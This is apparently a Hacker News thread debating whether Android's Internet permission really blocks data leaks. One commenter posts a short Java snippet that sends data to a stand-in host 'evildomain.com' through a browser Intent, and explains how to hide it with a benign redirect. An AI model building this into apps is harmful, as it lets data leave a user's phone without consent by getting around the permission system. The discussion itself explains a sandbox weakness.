Preferences

87636899376 parent
> 1) Internet connection is so ubiquitous as to just be noise if displayed

That doesn't make it any less useful.

> 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar

I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?


GuB-42
> I've never managed to find even a single PoC bypassing it

Because it is obvious. Just open a web browser.

More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...

UncleMeat
> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

   Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
   Intent i = new Intent(Intent.ACTION_VIEW, uri);
   startActivity(i);
Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.
broker354690
> would be a catastrophic change to the ecosystem.

Hey we were already on board with this, you don't have to convince us.

UncleMeat
The effect of this would be to make all apps request all permissions because even if you are just using some other app for a particular feature you need, you have no control over what other permissions they might add which would suddenly break any intents you send them. The only defense would be to request everything.

You could very specifically ban ACTION_VIEW intents for web URIs from apps without an internet permission I guess. But does banning apps from linking to the web (to be opened in browsers) really seem like a good idea?

ycombinatrix
Similar changes have been done before, the security sandbox behaves differently based on the app's minimum/target API level for backwards compatibility.

That's also why there's a warning before installing really old apps, they may run with extra permissions.

noname120
I don’t see why you couldn’t disallow opening URL intents. App intents that enable to exfiltrate data should be cracked down on by Google, it’s basically a privilege escalation.
UncleMeat
"No links to web uris allowed" would be a pretty intense restriction. Now the free calculator can't even link to the paid version on the app store. There's already precious few apps that don't really need internet access (usually simple tools apps that don't have ads) and this even further limits that set.
sterlind
so? pop up a permission prompt. have the user confirm.

and isn't it immediately apparent that the app is leaking data if your calculator is popping a webview?

UncleMeat
"Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.

Yes, this is a little suspicious. But you just have the evil page redirect to google.com or something benign. To the user it looks like "huh, chrome just opened on its own."

> "Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.

Calculator.apk wants to open the web page https://eviltracker.example.com. Allow this time? Allow for 24 hours? Allow and don't ask me again?

UncleMeat
Do we show this annoying popup (that the large majority of the time will be benign and just aggravate users) for all apps, or just those that don't request the internet permission?

Doing this for all apps would be wild. Doing this just for those that don't request the internet permission just encourages more apps to request it (it is basically universally used anyway). "Huh, why does my calculator need internet" has never actually been effective at helping people avoid malware at any meaningful scale.

const_cast
> Doing this for all apps would be wild.

No it wouldn't, not at all.

90% of apps on your phone do not need to be apps. Facebook does not need to be an app. Instagram does not need to be an app.

This is a sober reminder that apps are executables code that is running on your phone with very little sandbox. Its not like a web browser.

We do not need to execute compiled binaries that are closed source to buy parking that one time. No, no we don't.

Why do we? Because as I've said - such apps are much more powerful than the web browser and can therefore be used as spyware or keyloggers. Most apps on Android, including most Google apps, can be regarded as spyware.

Companies don't want to give up their de facto malware they've built up, and now users are trained to just install whatever the fuck on their phone.

We have given software 1000x more permission than it needs to do want it does. And now, we sit back and complain about malware.

This starts with Google, this starts with Meta, this starts with big tech. They directly caused all this malware by forcing users into downloading executables so they can exfiltrate your key presses.

This item has no comments currently.